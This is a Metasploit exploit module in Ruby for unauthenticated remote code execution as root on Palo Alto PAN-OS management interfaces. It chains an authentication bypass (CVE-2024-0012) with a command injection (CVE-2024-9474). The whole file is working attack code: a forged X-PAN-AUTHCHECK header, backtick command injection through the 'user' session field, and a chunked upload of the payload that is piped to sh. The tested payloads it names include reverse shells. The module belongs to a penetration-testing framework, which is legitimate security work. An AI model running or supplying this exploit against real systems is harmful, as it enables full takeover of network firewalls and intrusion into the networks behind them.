##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
          vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
          execute arbitrary code with root privileges.

          The following versions are affected:
          * PAN-OS 11.2 (up to and including 11.2.4-h1)
          * PAN-OS 11.1 (up to and including 11.1.5-h1)
          * PAN-OS 11.0 (up to and including 11.0.6-h1)
          * PAN-OS 10.2 (up to and including 10.2.12-h2)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'watchTowr', # Technical Analysis
          'sfewer-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2024-0012'],
          ['CVE', '2024-9474'],
          # Vendor Advisories
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
          # Technical Analysis
          ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
        ],
        'DisclosureDate' => '2024-11-18',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Executes as root on Linux
        'Targets' => [
          [
            'Default', {
              'Payload' => {
                # See the comment in the exploit method for how we calculated the payload Space value.
                'Space' => 5670,
                # We write the payload in chunks, which limits our total space, but is also slow, so we disable nops
                # to ensure the payload is as small as possible.
                'DisableNops' => true,
                'BadChars' => '\\\'"&'
              }
            }
          ]
        ],
        # NOTE: Tested with the payloads:
        #   cmd/linux/http/x64/meterpreter_reverse_tcp
        #   cmd/linux/http/x64/meterpreter/reverse_tcp
        #   cmd/unix/reverse_bash
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/var/tmp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp'])
      ]
    )
  end

  # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
  # confirm the target is vulnerable. The check routine will delete this file after it has been read.
  def check
    check_file_name = Rex::Text.rand_text_alphanumeric(4)

    # NOTE: We set dontfail to true, as a check routine cannot fail_with().

    # return Safe if we fail to trigger the vulnerability and execute a command.
    return CheckCode::Safe unless execute_cmd(
      "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
      dontfail: true
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('unauth', check_file_name)
    )

    return CheckCode::Unknown('Connection failed') unless res

    if res.code == 200 && res.body.include?(check_file_name)

      # return Unknown if we fail to trigger the vulnerability a second time.
      return CheckCode::Unknown unless execute_cmd(
        "rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
        dontfail: true
      )

      return Exploit::CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  # We can only execute a short command upon each invocation of the command injection vulnerability. To execute
  # a Metasploit payload, we first write the payload to a file, but we do the file write in small
  # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
  # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
  # We then amalgamate all these chunks together back into a single file, reconstituting the original payload.
  # Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being
  # executed twice, the payload will delete the single payload file upon the first execution of the payload,
  # causing any second attempt to execute the payload to fail.
  def exploit
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"

    idx = 1
    idx_prefix = ''

    # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
    # 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx
    # value. So by default, the chunk size will be 36. However this may change as we write the chunks.
    # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
    # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
    # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
    # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
    # we must recompute the chunk size, to ensure we dont go over the 63 character limit.
    chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

    # We display the progress to the user, so track that with a current and max chunk number.
    curr_chunk_number = 1

    max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

    while bootstrap_payload && !bootstrap_payload.empty?

      print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

      chunk = bootstrap_payload[0, chunk_size]

      bootstrap_payload = bootstrap_payload[chunk_size..]

      execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}")

      idx += 1

      if idx > 9
        idx = 1
        idx_prefix += '9'
        # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
        # next chunk must have 1 less character.
        chunk_size -= 1
        # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
        # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
        # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
        # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
        # would be a max MSF payload size of 5670 characters. Calculated with the command:
        # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
        fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
      end

      curr_chunk_number += 1
    end

    print_status('Amalgamating payload chunks...')

    execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}")

    print_status('Executing payload...')

    execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
  end

  def execute_cmd(cmd, dontfail: false)
    user = "`#{cmd}`"

    # There is a 63 character limit for the command injection.
    if user.length >= 64
      fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
    end

    vprint_status(user)

    # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
    res1 = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
      'headers' => {
        'X-PAN-AUTHCHECK' => 'off'
      },
      'keep_cookies' => true,
      'vars_post' => {
        'user' => user,
        'userRole' => 'superuser',
        'remoteHost' => '',
        'vsys' => 'vsys1'
      }
    )

    unless res1&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
    end

    unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
      fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
    end

    # Trigger the command injection (CVE-2024-9474).
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('index.php', '.js.map'),
      'keep_cookies' => true
    )

    unless res2&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
    end

    true
  end
end